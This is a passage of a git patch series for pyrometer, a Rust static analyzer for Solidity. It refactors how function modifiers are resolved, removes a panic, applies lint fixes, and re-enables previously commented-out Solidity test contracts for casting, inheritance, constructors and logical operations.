"{args_str}"); - // } else { - // let _ = write!(mod_name, "()"); - // } - // let _ = write!(mod_name, ""); - // let found: Option = ctx - // .visible_modifiers(self) - // .unwrap() - // .iter() - // .find(|modifier| modifier.name(self).unwrap() == mod_name) - // .copied(); - // Ok(found) - // }) - // .collect::>, ExprErr>>()? - // .into_iter() - // .flatten() - // .collect::>(); - // Ok(res) + let mut mods = vec![]; + modifiers.iter().try_for_each(|modifier| { + assert_eq!(modifier.name.identifiers.len(), 1); + // // construct arg string for function selector + let mod_name = format!("{}", modifier.name.identifiers[0]); + let mod_loc = modifier.name.identifiers[0].loc; + let is_constructor = func.is_constructor(self).into_expr_err(mod_loc)?; + let mut found_mods = self.find_modifier(ctx, &mod_name, is_constructor).into_expr_err(mod_loc)?; + match found_mods.len() { + 0 => Err(ExprErr::FunctionNotFound(mod_loc, format!("Could not find modifier: {mod_name}"))), + 1 => { + mods.push(found_mods.swap_remove(0)); + Ok(()) + } + n => Err(ExprErr::FunctionNotFound(mod_loc, format!("Could not find unique modifier: {mod_name}, found {n} modifiers with the same name"))), + } + })?; + Ok(mods) } } /// Sets the modifiers for a function - fn set_modifiers( - &mut self, - arena: &mut RangeArena>, - func: FunctionNode, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - let modifiers = self.modifiers(arena, ctx, func)?; + fn set_modifiers(&mut self, func: FunctionNode, ctx: ContextNode) -> Result<(), ExprErr> { + let modifiers = self.modifiers(ctx, func)?; modifiers .iter() .enumerate() From 3f3e21eecd6b661f7fe44e1452c1e4ceaf9287ef Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sun, 21 Jul 2024 09:11:37 -0700 Subject: [PATCH 34/52] remove panic --- crates/graph/src/nodes/context/variables.rs | 2 +- crates/solc-expressions/src/func_call/modifier.rs | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index 2e90437c..c34c054c 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -466,7 +466,7 @@ impl ContextNode { if let Some(elem) = underlying_mut.expr_ret_stack.pop() { res.push(elem); } else { - return Err(GraphError::StackLengthMismatch(panic!( + return Err(GraphError::StackLengthMismatch(format!( "Expected {n} ExprRets on stack, but had fewer" ))); } diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 4772f6aa..3cc82a8c 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -1,7 +1,7 @@ //! Traits & blanket implementations that facilitate performing modifier function calls. use crate::{ - context_builder::Flatten, func_call::internal_call::InternalFuncCaller, + func_call::internal_call::InternalFuncCaller, func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, }; @@ -12,7 +12,7 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::pt::{Expression, FunctionTy, Loc}; +use solang_parser::pt::{Expression, Loc}; impl ModifierCaller for T where T: AnalyzerBackend From 83d11cc430977ad94d6d905ae3f495474a9b40a1 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sun, 21 Jul 2024 09:11:54 -0700 Subject: [PATCH 35/52] lint --- crates/solc-expressions/src/func_call/internal_call.rs | 2 +- crates/solc-expressions/src/func_call/modifier.rs | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index a4b6b2db..f41bc57b 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -244,7 +244,7 @@ pub trait InternalFuncCaller: .filter(|func| { let res = matches!(func.ty(self), Ok(FunctionTy::Constructor)); let contract = func.maybe_associated_contract(self).unwrap(); - res && contract.name(self).unwrap().starts_with(&format!("{name}")) + res && contract.name(self).unwrap().starts_with(&name.to_string()) }) .collect::>() } else { diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 3cc82a8c..fa238afe 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -1,8 +1,8 @@ //! Traits & blanket implementations that facilitate performing modifier function calls. use crate::{ - func_call::internal_call::InternalFuncCaller, - func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, + func_call::internal_call::InternalFuncCaller, func_caller::FuncCaller, helper::CallerHelper, + ContextBuilder, }; use graph::{ From 5035e5d35699c34f9f49eae421df10047124ebdb Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sun, 21 Jul 2024 09:32:32 -0700 Subject: [PATCH 36/52] reenable tests and modifiers working --- crates/pyrometer/tests/test_data/abstract.sol | 58 +- crates/pyrometer/tests/test_data/cast.sol | 766 +++++++++--------- .../pyrometer/tests/test_data/constructor.sol | 52 +- crates/pyrometer/tests/test_data/logical.sol | 194 ++--- crates/pyrometer/tests/test_data/modifier.sol | 114 +-- .../src/func_call/func_caller.rs | 15 +- .../src/func_call/modifier.rs | 22 +- 7 files changed, 606 insertions(+), 615 deletions(-) diff --git a/crates/pyrometer/tests/test_data/abstract.sol b/crates/pyrometer/tests/test_data/abstract.sol index e38bb131..0a2a922d 100644 --- a/crates/pyrometer/tests/test_data/abstract.sol +++ b/crates/pyrometer/tests/test_data/abstract.sol @@ -12,32 +12,32 @@ abstract contract A { function bar() internal view virtual returns (uint); } -// abstract contract YInterface { -// function foo() external virtual returns (uint); -// } - -// contract Y is YInterface { -// function foo() public virtual override returns (uint) { -// return 1; -// } - -// function bar(Y y) internal { -// y.foo(); -// } -// } - -// abstract contract Base { -// function foo() public virtual returns (uint) { -// return 0; -// } -// } - -// contract Base2 is Base {} - -// contract Base3 is Base2 {} - -// contract Test is Base3 { -// function foo() public override returns (uint) { -// return super.foo(); -// } -// } +abstract contract YInterface { + function foo() external virtual returns (uint); +} + +contract Y is YInterface { + function foo() public virtual override returns (uint) { + return 1; + } + + function bar(Y y) internal { + y.foo(); + } +} + +abstract contract Base { + function foo() public virtual returns (uint) { + return 0; + } +} + +contract Base2 is Base {} + +contract Base3 is Base2 {} + +contract Test is Base3 { + function foo() public override returns (uint) { + return super.foo(); + } +} diff --git a/crates/pyrometer/tests/test_data/cast.sol b/crates/pyrometer/tests/test_data/cast.sol index 926ed199..876b4000 100644 --- a/crates/pyrometer/tests/test_data/cast.sol +++ b/crates/pyrometer/tests/test_data/cast.sol @@ -6,314 +6,314 @@ pragma solidity ^0.8.0; // type MyInt is int256; contract Cast { - // function u_int(uint256 x) public pure { - // uint248 x_uint248 = uint248(x); - // uint240 x_uint240 = uint240(x); - // uint232 x_uint232 = uint232(x); - // uint224 x_uint224 = uint224(x); - // uint216 x_uint216 = uint216(x); - // uint208 x_uint208 = uint208(x); - // uint200 x_uint200 = uint200(x); - // uint192 x_uint192 = uint192(x); - // uint184 x_uint184 = uint184(x); - // uint176 x_uint176 = uint176(x); - // uint168 x_uint168 = uint168(x); - // uint160 x_uint160 = uint160(x); - // uint152 x_uint152 = uint152(x); - // uint144 x_uint144 = uint144(x); - // uint136 x_uint136 = uint136(x); - // uint128 x_uint128 = uint128(x); - // uint120 x_uint120 = uint120(x); - // uint112 x_uint112 = uint112(x); - // uint104 x_uint104 = uint104(x); - // uint96 x_uint96 = uint96(x); - // uint88 x_uint88 = uint88(x); - // uint80 x_uint80 = uint80(x); - // uint72 x_uint72 = uint72(x); - // uint64 x_uint64 = uint64(x); - // uint56 x_uint56 = uint56(x); - // uint48 x_uint48 = uint48(x); - // uint40 x_uint40 = uint40(x); - // uint32 x_uint32 = uint32(x); - // uint24 x_uint24 = uint24(x); - // uint16 x_uint16 = uint16(x); - // uint8 x_uint8 = uint8(x); - // uint256 x_uint256 = uint256(x_uint8); - // x_uint256; - // x_uint248; - // x_uint240; - // x_uint232; - // x_uint224; - // x_uint216; - // x_uint208; - // x_uint200; - // x_uint192; - // x_uint184; - // x_uint176; - // x_uint168; - // x_uint160; - // x_uint152; - // x_uint144; - // x_uint136; - // x_uint128; - // x_uint120; - // x_uint112; - // x_uint104; - // x_uint96; - // x_uint88; - // x_uint80; - // x_uint72; - // x_uint64; - // x_uint56; - // x_uint48; - // x_uint40; - // x_uint32; - // x_uint24; - // x_uint16; - // } + function u_int(uint256 x) public pure { + uint248 x_uint248 = uint248(x); + uint240 x_uint240 = uint240(x); + uint232 x_uint232 = uint232(x); + uint224 x_uint224 = uint224(x); + uint216 x_uint216 = uint216(x); + uint208 x_uint208 = uint208(x); + uint200 x_uint200 = uint200(x); + uint192 x_uint192 = uint192(x); + uint184 x_uint184 = uint184(x); + uint176 x_uint176 = uint176(x); + uint168 x_uint168 = uint168(x); + uint160 x_uint160 = uint160(x); + uint152 x_uint152 = uint152(x); + uint144 x_uint144 = uint144(x); + uint136 x_uint136 = uint136(x); + uint128 x_uint128 = uint128(x); + uint120 x_uint120 = uint120(x); + uint112 x_uint112 = uint112(x); + uint104 x_uint104 = uint104(x); + uint96 x_uint96 = uint96(x); + uint88 x_uint88 = uint88(x); + uint80 x_uint80 = uint80(x); + uint72 x_uint72 = uint72(x); + uint64 x_uint64 = uint64(x); + uint56 x_uint56 = uint56(x); + uint48 x_uint48 = uint48(x); + uint40 x_uint40 = uint40(x); + uint32 x_uint32 = uint32(x); + uint24 x_uint24 = uint24(x); + uint16 x_uint16 = uint16(x); + uint8 x_uint8 = uint8(x); + uint256 x_uint256 = uint256(x_uint8); + x_uint256; + x_uint248; + x_uint240; + x_uint232; + x_uint224; + x_uint216; + x_uint208; + x_uint200; + x_uint192; + x_uint184; + x_uint176; + x_uint168; + x_uint160; + x_uint152; + x_uint144; + x_uint136; + x_uint128; + x_uint120; + x_uint112; + x_uint104; + x_uint96; + x_uint88; + x_uint80; + x_uint72; + x_uint64; + x_uint56; + x_uint48; + x_uint40; + x_uint32; + x_uint24; + x_uint16; + } - // function u_int_conc() public pure { - // u_int(100); - // } + function u_int_conc() public pure { + u_int(100); + } - // function i_nt(int256 x) public pure { - // int248 x_int248 = int248(x); - // int240 x_int240 = int240(x); - // int232 x_int232 = int232(x); - // int224 x_int224 = int224(x); - // int216 x_int216 = int216(x); - // int208 x_int208 = int208(x); - // int200 x_int200 = int200(x); - // int192 x_int192 = int192(x); - // int184 x_int184 = int184(x); - // int176 x_int176 = int176(x); - // int168 x_int168 = int168(x); - // int160 x_int160 = int160(x); - // int152 x_int152 = int152(x); - // int144 x_int144 = int144(x); - // int136 x_int136 = int136(x); - // int128 x_int128 = int128(x); - // int120 x_int120 = int120(x); - // int112 x_int112 = int112(x); - // int104 x_int104 = int104(x); - // int96 x_int96 = int96(x); - // int88 x_int88 = int88(x); - // int80 x_int80 = int80(x); - // int72 x_int72 = int72(x); - // int64 x_int64 = int64(x); - // int56 x_int56 = int56(x); - // int48 x_int48 = int48(x); - // int40 x_int40 = int40(x); - // int32 x_int32 = int32(x); - // int24 x_int24 = int24(x); - // int16 x_int16 = int16(x); - // int8 x_int8 = int8(x); - // int256 x_int256 = int256(x_int8); - // x_int256; - // x_int248; - // x_int240; - // x_int232; - // x_int224; - // x_int216; - // x_int208; - // x_int200; - // x_int192; - // x_int184; - // x_int176; - // x_int168; - // x_int160; - // x_int152; - // x_int144; - // x_int136; - // x_int128; - // x_int120; - // x_int112; - // x_int104; - // x_int96; - // x_int88; - // x_int80; - // x_int72; - // x_int64; - // x_int56; - // x_int48; - // x_int40; - // x_int32; - // x_int24; - // x_int16; - // } + function i_nt(int256 x) public pure { + int248 x_int248 = int248(x); + int240 x_int240 = int240(x); + int232 x_int232 = int232(x); + int224 x_int224 = int224(x); + int216 x_int216 = int216(x); + int208 x_int208 = int208(x); + int200 x_int200 = int200(x); + int192 x_int192 = int192(x); + int184 x_int184 = int184(x); + int176 x_int176 = int176(x); + int168 x_int168 = int168(x); + int160 x_int160 = int160(x); + int152 x_int152 = int152(x); + int144 x_int144 = int144(x); + int136 x_int136 = int136(x); + int128 x_int128 = int128(x); + int120 x_int120 = int120(x); + int112 x_int112 = int112(x); + int104 x_int104 = int104(x); + int96 x_int96 = int96(x); + int88 x_int88 = int88(x); + int80 x_int80 = int80(x); + int72 x_int72 = int72(x); + int64 x_int64 = int64(x); + int56 x_int56 = int56(x); + int48 x_int48 = int48(x); + int40 x_int40 = int40(x); + int32 x_int32 = int32(x); + int24 x_int24 = int24(x); + int16 x_int16 = int16(x); + int8 x_int8 = int8(x); + int256 x_int256 = int256(x_int8); + x_int256; + x_int248; + x_int240; + x_int232; + x_int224; + x_int216; + x_int208; + x_int200; + x_int192; + x_int184; + x_int176; + x_int168; + x_int160; + x_int152; + x_int144; + x_int136; + x_int128; + x_int120; + x_int112; + x_int104; + x_int96; + x_int88; + x_int80; + x_int72; + x_int64; + x_int56; + x_int48; + x_int40; + x_int32; + x_int24; + x_int16; + } - // function i_nt_conc_pos() public pure { - // i_nt(100); - // } + function i_nt_conc_pos() public pure { + i_nt(100); + } - // function i_nt_conc_neg() public pure { - // i_nt(-100); - // } + function i_nt_conc_neg() public pure { + i_nt(-100); + } - // function u_i_nt(int256 x) public pure { - // uint256 x_uint256 = uint256(x); - // int248 x_int248 = int248(x); - // uint248 x_uint248 = uint248(x_int248); - // int240 x_int240 = int240(x); - // uint240 x_uint240 = uint240(x_int240); - // int232 x_int232 = int232(x); - // uint232 x_uint232 = uint232(x_int232); - // int224 x_int224 = int224(x); - // uint224 x_uint224 = uint224(x_int224); - // int216 x_int216 = int216(x); - // uint216 x_uint216 = uint216(x_int216); - // int208 x_int208 = int208(x); - // uint208 x_uint208 = uint208(x_int208); - // int200 x_int200 = int200(x); - // uint200 x_uint200 = uint200(x_int200); - // int192 x_int192 = int192(x); - // uint192 x_uint192 = uint192(x_int192); - // int184 x_int184 = int184(x); - // uint184 x_uint184 = uint184(x_int184); - // int176 x_int176 = int176(x); - // uint176 x_uint176 = uint176(x_int176); - // int168 x_int168 = int168(x); - // uint168 x_uint168 = uint168(x_int168); - // int160 x_int160 = int160(x); - // uint160 x_uint160 = uint160(x_int160); - // int152 x_int152 = int152(x); - // uint152 x_uint152 = uint152(x_int152); - // int144 x_int144 = int144(x); - // uint144 x_uint144 = uint144(x_int144); - // int136 x_int136 = int136(x); - // uint136 x_uint136 = uint136(x_int136); - // int128 x_int128 = int128(x); - // uint128 x_uint128 = uint128(x_int128); - // int120 x_int120 = int120(x); - // uint120 x_uint120 = uint120(x_int120); - // int112 x_int112 = int112(x); - // uint112 x_uint112 = uint112(x_int112); - // int104 x_int104 = int104(x); - // uint104 x_uint104 = uint104(x_int104); - // int96 x_int96 = int96(x); - // uint96 x_uint96 = uint96(x_int96); - // int88 x_int88 = int88(x); - // uint88 x_uint88 = uint88(x_int88); - // int80 x_int80 = int80(x); - // uint80 x_uint80 = uint80(x_int80); - // int72 x_int72 = int72(x); - // uint72 x_uint72 = uint72(x_int72); - // int64 x_int64 = int64(x); - // uint64 x_uint64 = uint64(x_int64); - // int56 x_int56 = int56(x); - // uint56 x_uint56 = uint56(x_int56); - // int48 x_int48 = int48(x); - // uint48 x_uint48 = uint48(x_int48); - // int40 x_int40 = int40(x); - // uint40 x_uint40 = uint40(x_int40); - // int32 x_int32 = int32(x); - // uint32 x_uint32 = uint32(x_int32); - // int24 x_int24 = int24(x); - // uint24 x_uint24 = uint24(x_int24); - // int16 x_int16 = int16(x); - // uint16 x_uint16 = uint16(x_int16); - // int8 x_int8 = int8(x); - // uint8 x_uint8 = uint8(x_int8); - // x_uint256 = uint256(int256(x_int8)); - // x_uint248; - // x_uint240; - // x_uint232; - // x_uint224; - // x_uint216; - // x_uint208; - // x_uint200; - // x_uint192; - // x_uint184; - // x_uint176; - // x_uint168; - // x_uint160; - // x_uint152; - // x_uint144; - // x_uint136; - // x_uint128; - // x_uint120; - // x_uint112; - // x_uint104; - // x_uint96; - // x_uint88; - // x_uint80; - // x_uint72; - // x_uint64; - // x_uint56; - // x_uint48; - // x_uint40; - // x_uint32; - // x_uint24; - // x_uint16; - // x_uint8; - // } + function u_i_nt(int256 x) public pure { + uint256 x_uint256 = uint256(x); + int248 x_int248 = int248(x); + uint248 x_uint248 = uint248(x_int248); + int240 x_int240 = int240(x); + uint240 x_uint240 = uint240(x_int240); + int232 x_int232 = int232(x); + uint232 x_uint232 = uint232(x_int232); + int224 x_int224 = int224(x); + uint224 x_uint224 = uint224(x_int224); + int216 x_int216 = int216(x); + uint216 x_uint216 = uint216(x_int216); + int208 x_int208 = int208(x); + uint208 x_uint208 = uint208(x_int208); + int200 x_int200 = int200(x); + uint200 x_uint200 = uint200(x_int200); + int192 x_int192 = int192(x); + uint192 x_uint192 = uint192(x_int192); + int184 x_int184 = int184(x); + uint184 x_uint184 = uint184(x_int184); + int176 x_int176 = int176(x); + uint176 x_uint176 = uint176(x_int176); + int168 x_int168 = int168(x); + uint168 x_uint168 = uint168(x_int168); + int160 x_int160 = int160(x); + uint160 x_uint160 = uint160(x_int160); + int152 x_int152 = int152(x); + uint152 x_uint152 = uint152(x_int152); + int144 x_int144 = int144(x); + uint144 x_uint144 = uint144(x_int144); + int136 x_int136 = int136(x); + uint136 x_uint136 = uint136(x_int136); + int128 x_int128 = int128(x); + uint128 x_uint128 = uint128(x_int128); + int120 x_int120 = int120(x); + uint120 x_uint120 = uint120(x_int120); + int112 x_int112 = int112(x); + uint112 x_uint112 = uint112(x_int112); + int104 x_int104 = int104(x); + uint104 x_uint104 = uint104(x_int104); + int96 x_int96 = int96(x); + uint96 x_uint96 = uint96(x_int96); + int88 x_int88 = int88(x); + uint88 x_uint88 = uint88(x_int88); + int80 x_int80 = int80(x); + uint80 x_uint80 = uint80(x_int80); + int72 x_int72 = int72(x); + uint72 x_uint72 = uint72(x_int72); + int64 x_int64 = int64(x); + uint64 x_uint64 = uint64(x_int64); + int56 x_int56 = int56(x); + uint56 x_uint56 = uint56(x_int56); + int48 x_int48 = int48(x); + uint48 x_uint48 = uint48(x_int48); + int40 x_int40 = int40(x); + uint40 x_uint40 = uint40(x_int40); + int32 x_int32 = int32(x); + uint32 x_uint32 = uint32(x_int32); + int24 x_int24 = int24(x); + uint24 x_uint24 = uint24(x_int24); + int16 x_int16 = int16(x); + uint16 x_uint16 = uint16(x_int16); + int8 x_int8 = int8(x); + uint8 x_uint8 = uint8(x_int8); + x_uint256 = uint256(int256(x_int8)); + x_uint248; + x_uint240; + x_uint232; + x_uint224; + x_uint216; + x_uint208; + x_uint200; + x_uint192; + x_uint184; + x_uint176; + x_uint168; + x_uint160; + x_uint152; + x_uint144; + x_uint136; + x_uint128; + x_uint120; + x_uint112; + x_uint104; + x_uint96; + x_uint88; + x_uint80; + x_uint72; + x_uint64; + x_uint56; + x_uint48; + x_uint40; + x_uint32; + x_uint24; + x_uint16; + x_uint8; + } - // function b_ytes(bytes32 x) public pure { - // bytes31 x_bytes31 = bytes31(x); - // bytes30 x_bytes30 = bytes30(x); - // bytes29 x_bytes29 = bytes29(x); - // bytes28 x_bytes28 = bytes28(x); - // bytes27 x_bytes27 = bytes27(x); - // bytes26 x_bytes26 = bytes26(x); - // bytes25 x_bytes25 = bytes25(x); - // bytes24 x_bytes24 = bytes24(x); - // bytes23 x_bytes23 = bytes23(x); - // bytes22 x_bytes22 = bytes22(x); - // bytes21 x_bytes21 = bytes21(x); - // bytes20 x_bytes20 = bytes20(x); - // bytes19 x_bytes19 = bytes19(x); - // bytes18 x_bytes18 = bytes18(x); - // bytes17 x_bytes17 = bytes17(x); - // bytes16 x_bytes16 = bytes16(x); - // bytes15 x_bytes15 = bytes15(x); - // bytes14 x_bytes14 = bytes14(x); - // bytes13 x_bytes13 = bytes13(x); - // bytes12 x_bytes12 = bytes12(x); - // bytes11 x_bytes11 = bytes11(x); - // bytes10 x_bytes10 = bytes10(x); - // bytes9 x_bytes9 = bytes9(x); - // bytes8 x_bytes8 = bytes8(x); - // bytes7 x_bytes7 = bytes7(x); - // bytes6 x_bytes6 = bytes6(x); - // bytes5 x_bytes5 = bytes5(x); - // bytes4 x_bytes4 = bytes4(x); - // bytes3 x_bytes3 = bytes3(x); - // bytes2 x_bytes2 = bytes2(x); - // bytes1 x_bytes1 = bytes1(x); - // bytes32 x_bytes32 = bytes32(x_bytes1); - // x_bytes31; - // x_bytes30; - // x_bytes29; - // x_bytes28; - // x_bytes27; - // x_bytes26; - // x_bytes25; - // x_bytes24; - // x_bytes23; - // x_bytes22; - // x_bytes21; - // x_bytes20; - // x_bytes19; - // x_bytes18; - // x_bytes17; - // x_bytes16; - // x_bytes15; - // x_bytes14; - // x_bytes13; - // x_bytes12; - // x_bytes11; - // x_bytes10; - // x_bytes9; - // x_bytes8; - // x_bytes7; - // x_bytes6; - // x_bytes5; - // x_bytes4; - // x_bytes3; - // x_bytes2; - // x_bytes1; - // x_bytes32; - // } + function b_ytes(bytes32 x) public pure { + bytes31 x_bytes31 = bytes31(x); + bytes30 x_bytes30 = bytes30(x); + bytes29 x_bytes29 = bytes29(x); + bytes28 x_bytes28 = bytes28(x); + bytes27 x_bytes27 = bytes27(x); + bytes26 x_bytes26 = bytes26(x); + bytes25 x_bytes25 = bytes25(x); + bytes24 x_bytes24 = bytes24(x); + bytes23 x_bytes23 = bytes23(x); + bytes22 x_bytes22 = bytes22(x); + bytes21 x_bytes21 = bytes21(x); + bytes20 x_bytes20 = bytes20(x); + bytes19 x_bytes19 = bytes19(x); + bytes18 x_bytes18 = bytes18(x); + bytes17 x_bytes17 = bytes17(x); + bytes16 x_bytes16 = bytes16(x); + bytes15 x_bytes15 = bytes15(x); + bytes14 x_bytes14 = bytes14(x); + bytes13 x_bytes13 = bytes13(x); + bytes12 x_bytes12 = bytes12(x); + bytes11 x_bytes11 = bytes11(x); + bytes10 x_bytes10 = bytes10(x); + bytes9 x_bytes9 = bytes9(x); + bytes8 x_bytes8 = bytes8(x); + bytes7 x_bytes7 = bytes7(x); + bytes6 x_bytes6 = bytes6(x); + bytes5 x_bytes5 = bytes5(x); + bytes4 x_bytes4 = bytes4(x); + bytes3 x_bytes3 = bytes3(x); + bytes2 x_bytes2 = bytes2(x); + bytes1 x_bytes1 = bytes1(x); + bytes32 x_bytes32 = bytes32(x_bytes1); + x_bytes31; + x_bytes30; + x_bytes29; + x_bytes28; + x_bytes27; + x_bytes26; + x_bytes25; + x_bytes24; + x_bytes23; + x_bytes22; + x_bytes21; + x_bytes20; + x_bytes19; + x_bytes18; + x_bytes17; + x_bytes16; + x_bytes15; + x_bytes14; + x_bytes13; + x_bytes12; + x_bytes11; + x_bytes10; + x_bytes9; + x_bytes8; + x_bytes7; + x_bytes6; + x_bytes5; + x_bytes4; + x_bytes3; + x_bytes2; + x_bytes1; + x_bytes32; + } function b_ytes_uint(bytes32 x) public pure returns (uint256) { uint256 x_uint256 = uint256(x); @@ -325,13 +325,13 @@ contract Cast { return x_bytes32; } - // function u_int_addr(uint160 x) public pure returns (address) { - // return address(x); - // } + function u_int_addr(uint160 x) public pure returns (address) { + return address(x); + } - // function addr_uint(address x) public pure returns (uint160) { - // return uint160(x); - // } + function addr_uint(address x) public pure returns (uint160) { + return uint160(x); + } function b_ytes_uint_conc() public pure returns (bytes32) { bytes32 round_trip = u_int_bytes(b_ytes_uint(hex"1337")); @@ -339,91 +339,91 @@ contract Cast { return round_trip; } - // function addr_uint_conc() public pure returns (address) { - // address round_trip = u_int_addr(addr_uint(address(1337))); - // require(round_trip == address(1337)); - // return round_trip; - // } + function addr_uint_conc() public pure returns (address) { + address round_trip = u_int_addr(addr_uint(address(1337))); + require(round_trip == address(1337)); + return round_trip; + } - // function userStr() internal pure { - // bytes32 x = bytes32("test"); - // ShortString a = ShortString.wrap(x); - // bytes32 b = ShortString.unwrap(a); - // require(b == x); - // } + function userStr() internal pure { + bytes32 x = bytes32("test"); + ShortString a = ShortString.wrap(x); + bytes32 b = ShortString.unwrap(a); + require(b == x); + } - // function userUint() internal pure { - // uint256 x = 100; - // MyUint a = MyUint.wrap(x); - // uint256 b = MyUint.unwrap(a); - // require(b == x); - // } + function userUint() internal pure { + uint256 x = 100; + MyUint a = MyUint.wrap(x); + uint256 b = MyUint.unwrap(a); + require(b == x); + } - // function downcast_uint_conc() public pure returns (uint64) { - // uint128 y = type(uint128).max; - // y -= type(uint32).max; - // return uint64(y); - // } + function downcast_uint_conc() public pure returns (uint64) { + uint128 y = type(uint128).max; + y -= type(uint32).max; + return uint64(y); + } - // function downcast_int_conc() public pure returns (int64) { - // int128 x = type(int128).max; - // x -= type(int32).max; - // return int64(x); - // } + function downcast_int_conc() public pure returns (int64) { + int128 x = type(int128).max; + x -= type(int32).max; + return int64(x); + } - // function userInt() internal pure { - // int256 x = -100; - // MyInt a = MyInt.wrap(x); - // int256 b = MyInt.unwrap(a); - // require(b == x); - // } + function userInt() internal pure { + int256 x = -100; + MyInt a = MyInt.wrap(x); + int256 b = MyInt.unwrap(a); + require(b == x); + } - // function int_uint_int_conc() internal pure { - // int256 a = -100; - // uint256 b = uint(a); - // int256 c = int(b); - // require(-100 == c); - // } + function int_uint_int_conc() internal pure { + int256 a = -100; + uint256 b = uint(a); + int256 c = int(b); + require(-100 == c); + } - // function int_uint_int(int a) internal pure { - // uint256 b = uint(a); - // int256 c = int(b); - // c; - // } + function int_uint_int(int a) internal pure { + uint256 b = uint(a); + int256 c = int(b); + c; + } } -// contract FuncCast { -// function a(bytes32 vs) public pure { -// b(vs); -// } +contract FuncCast { + function a(bytes32 vs) public pure { + b(vs); + } -// function b(bytes32 vs) public pure returns (bool) { -// bytes32 s = vs & -// bytes32( -// 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff -// ); -// // uint8 v = uint8((uint256(vs) >> 255) + 27); -// return c(s); -// } + function b(bytes32 vs) public pure returns (bool) { + bytes32 s = vs & + bytes32( + 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff + ); + // uint8 v = uint8((uint256(vs) >> 255) + 27); + return c(s); + } -// function c(bytes32 s) public pure returns (bool) { -// if ( -// uint256(s) > -// 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 -// ) { -// return true; -// } else { -// return false; -// } -// } + function c(bytes32 s) public pure returns (bool) { + if ( + uint256(s) > + 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 + ) { + return true; + } else { + return false; + } + } -// function foo() public { -// address ad = address(0); -// (bool r, bytes memory k) = ad.call(hex""); -// (r, k) = ad.delegatecall(hex""); -// (r, k) = ad.delegatecall(msg.data); + function foo() public { + address ad = address(0); + (bool r, bytes memory k) = ad.call(hex""); + (r, k) = ad.delegatecall(hex""); + (r, k) = ad.delegatecall(msg.data); -// bytes memory data = hex"01234567"; -// data; -// } -// } + bytes memory data = hex"01234567"; + data; + } +} diff --git a/crates/pyrometer/tests/test_data/constructor.sol b/crates/pyrometer/tests/test_data/constructor.sol index 6405c3b0..818702bc 100644 --- a/crates/pyrometer/tests/test_data/constructor.sol +++ b/crates/pyrometer/tests/test_data/constructor.sol @@ -33,35 +33,35 @@ contract D is Y, C { constructor(address _a) Y(_a) X(_a) C(_a) {} // inheriting abstract leads to needing to explicitly init the bases here } -// abstract contract F { -// function foo() public virtual {} -// } +abstract contract F { + function foo() public virtual {} +} -// contract G is F { -// function foo() public override { -// super.foo(); -// } -// } +contract G is F { + function foo() public override { + super.foo(); + } +} -// abstract contract H { -// function foo() external virtual returns (uint) {} -// } +abstract contract H { + function foo() external virtual returns (uint) {} +} -// abstract contract I is H { -// H a; +abstract contract I is H { + H a; -// function liquidateBorrowInternal(H _a) internal returns (uint, uint, uint) { -// uint b = foo(); -// uint b2 = _a.foo(); -// uint b3 = a.foo(); -// if (b != 1) {} -// if (b2 != 1) {} -// if (b3 != 1) {} + function liquidateBorrowInternal(H _a) internal returns (uint, uint, uint) { + uint b = foo(); + uint b2 = _a.foo(); + uint b3 = a.foo(); + if (b != 1) {} + if (b2 != 1) {} + if (b3 != 1) {} -// return (b, b2, b3); -// } + return (b, b2, b3); + } -// function foo() public virtual override returns (uint) { -// return 1; -// } -// } + function foo() public virtual override returns (uint) { + return 1; + } +} diff --git a/crates/pyrometer/tests/test_data/logical.sol b/crates/pyrometer/tests/test_data/logical.sol index b297d8c7..65daee83 100644 --- a/crates/pyrometer/tests/test_data/logical.sol +++ b/crates/pyrometer/tests/test_data/logical.sol @@ -1,34 +1,34 @@ // SPDX-License-Identifier: MIT or APACHE2 pragma solidity ^0.8.0; -// enum MyEnum { -// A, -// B, -// C -// } +enum MyEnum { + A, + B, + C +} contract Logical { - // function enumCmp() public pure returns (bool) { - // return MyEnum.A > MyEnum.B; - // } - - // function yulCmp() internal pure { - // uint x; - // uint y; - // assembly { - // x := gt(2, 3) - // y := eq(2, 3) - // } - // } - - // function yulComplicatedCmp(address a) internal { - // bool success; - // /// @solidity memory-safe-assembly - // assembly { - // success := and(eq(a, 0), call(gas(), a, 4, 5, 6, 7, 8)) //error - // } - // require(success); - // } + function enumCmp() public pure returns (bool) { + return MyEnum.A > MyEnum.B; + } + + function yulCmp() internal pure { + uint x; + uint y; + assembly { + x := gt(2, 3) + y := eq(2, 3) + } + } + + function yulComplicatedCmp(address a) internal { + bool success; + /// @solidity memory-safe-assembly + assembly { + success := and(eq(a, 0), call(gas(), a, 4, 5, 6, 7, 8)) //error + } + require(success); + } function or(address a) internal virtual { assembly { @@ -40,75 +40,75 @@ contract Logical { } } - // function eq(address a) public pure { - // assembly { - // if eq(0x0, a) { - - // } - // } - // } - - // function not() public pure { - // uint256 a = 100; - // bool s = a < 100; - // 